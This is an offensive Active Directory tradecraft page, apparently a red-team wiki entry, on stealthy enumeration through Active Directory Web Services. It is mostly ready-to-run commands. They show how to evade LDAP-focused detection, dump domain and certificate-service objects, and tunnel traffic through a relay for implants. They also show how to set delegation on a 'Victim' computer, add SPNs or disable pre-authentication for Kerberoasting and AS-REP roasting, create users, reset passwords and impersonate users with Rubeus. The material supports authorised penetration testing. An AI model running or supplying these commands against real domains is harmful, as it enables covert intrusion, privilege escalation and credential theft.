Adws Enumeration

ADWS Enumeration & Stealth Collection

Active Directory Web Services (ADWS) provides a stealthy alternative to traditional LDAP enumeration. ADWS is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Traffic is encapsulated in proprietary .NET framing protocols, making it less likely to be inspected or signatured than classic LDAP traffic.

Why Use ADWS?

• Stealthier recon – Blue teams often concentrate on LDAP queries on ports 389/636
• Cross-platform – Collect from Linux/macOS hosts by tunneling 9389/TCP through SOCKS
• Same data as LDAP – Users, groups, ACLs, schema, security descriptors
• Write operations – Can modify attributes like msDs-AllowedToActOnBehalfOfOtherIdentity for RBCD
• Blends with admin traffic – Many RSAT GUI/PowerShell tools use ADWS

Available Tools

SoaPy (Python)

Full re-implementation of the ADWS protocol stack in pure Python. Best for targeted collection and write operations.

Installation:

python3 -m pip install soapy-adws

Basic enumeration:

soapy domain.local/user:password@dc.domain.local --users
soapy domain.local/user:password@dc.domain.local --computers
soapy domain.local/user:password@dc.domain.local --groups

Targeted collection flags:

• --spns – Find service principal names for Kerberoasting
• --asreproastable – Find accounts vulnerable to AS-REP roasting
• --admins – Find admin accounts
• --constrained / --unconstrained – Find delegation configurations
• --rbcds – Find RBCD-capable objects

Custom queries:

soapy domain.local/user:password@dc.domain.local \
      -q '(objectClass=user)' \
      -f samAccountName,servicePrincipalName \
      --parse

Write operations:

# Set RBCD attribute
soapy domain.local/user:password@dc.domain.local \
      --set 'CN=Victim,OU=Servers,DC=domain,DC=local' \
      msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

# Set SPN for Kerberoasting
soapy domain.local/user:password@dc.domain.local \
      --spn 'HTTP/webserver' 'CN=Target,OU=Users,DC=domain,DC=local'

# Enable AS-REP roasting
soapy domain.local/user:password@dc.domain.local \
      --asrep 'CN=Target,OU=Users,DC=domain,DC=local'

Proxy support (for C2 implants):

export HTTPS_PROXY=socks5://127.0.0.1:1080
soapy domain.local/user:password@dc.domain.local --users

SOAPHound (.NET)

High-volume ADWS collector that outputs BloodHound v4-compatible JSON. Best for complete domain dumps.

Build cache (required for large forests):

SOAPHound.exe --buildcache -c C:\temp\corp-cache.json

BloodHound collection:

SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
              --autosplit --threshold 1200 --nolaps \
              -o C:\temp\BH-output

ADCS and DNS enrichment:

SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot

ADWSDomainDump

Fork of ldapdomaindump that uses ADWS instead of LDAP.

Installation:

pipx install .

Usage:

adwsdomaindump -u 'domain\user' -p 'password' -n 10.10.10.1 dc.domain.local

Sopa (Golang)

Generic ADWS client with full object lifecycle management.

Common operations:

# Search objects
sopa query -u user -p password -d domain.local -q '(objectClass=user)'

# Get specific object
sopa get -u user -p password -d domain.local -dn 'CN=Target,DC=domain,DC=local'

# Create user
sopa create user -u user -p password -d domain.local -n 'NewUser' -ou 'OU=Users,DC=domain,DC=local'

# Modify attributes
sopa attr replace -u user -p password -d domain.local \
      -dn 'CN=Target,DC=domain,DC=local' \
      -a 'servicePrincipalName' -v 'HTTP/webserver'

# Change password
sopa set-password -u user -p password -d domain.local \
      -dn 'CN=Target,DC=domain,DC=local' -new 'NewPassword123!'

Stealth Collection Workflow

Follow this workflow to enumerate domain and ADCS objects over ADWS and convert to BloodHound format:

Step 1: Tunnel to Port 9389

From your operator host, establish a tunnel to the target network:

# Using Chisel
chisel client <relay-ip>:8000 local:9389:10.2.10.10:9389

# Or SSH dynamic port forward
ssh -D 1080 user@jumpbox
export HTTPS_PROXY=socks5://127.0.0.1:1080

Step 2: Collect Domain Objects

soapy domain.local/user:password@10.2.10.10 \
      -q '(objectClass=domain)' \
      | tee data/domain.log

Step 3: Collect ADCS Objects

soapy domain.local/user:password@10.2.10.10 \
      -dn 'CN=Configuration,DC=domain,DC=local' \
      -q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \
           (objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
      | tee data/adcs.log

Step 4: Convert to BloodHound

bofhound -i data --zip

Step 5: Analyze in BloodHound

Upload the ZIP to BloodHound and run queries like:

MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c

Important Considerations

EnumerationContext Timeout

ADWS contexts age out after ~30 minutes. For large forests:

• Use SOAPHound's --autosplit to shard queries by CN prefix
• Split custom queries into smaller batches
• Page results with Pull messages if using raw ADWS

Security Descriptors

When requesting nTSecurityDescriptor, specify the LDAP_SERVER_SD_FLAGS_OID control to omit SACLs, otherwise ADWS drops the attribute.

Tool Selection Guide

Common Attack Paths

Resource-Based Constrained Delegation (RBCD)

1. Find RBCD-capable objects:

   soapy domain.local/user:password@dc.domain.local --rbcds
   

2. Set the RBCD attribute:

   soapy domain.local/user:password@dc.domain.local \
         --set 'CN=Victim,OU=Servers,DC=domain,DC=local' \
         msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
   

3. Execute S4U2Proxy attack with Rubeus:

   Rubeus.exe s4u /user:attacker /rc4:hash /impersonateuser:victim /msdsspn:HTTP/webserver /autodomain
   

Kerberoasting

1. Find accounts with SPNs:

   soapy domain.local/user:password@dc.domain.local --spns
   

2. Request TGS tickets and crack offline.

AS-REP Roasting

1. Find accounts without pre-auth:

   soapy domain.local/user:password@dc.domain.local --asreproastable
   

2. Request AS-REP and crack offline.

References

• SpecterOps – Make Sure to Use SOAP(y)
• SoaPy GitHub
• SOAPHound GitHub
• BOFHound GitHub
• Sopa GitHub
• ADWSDomainDump GitHub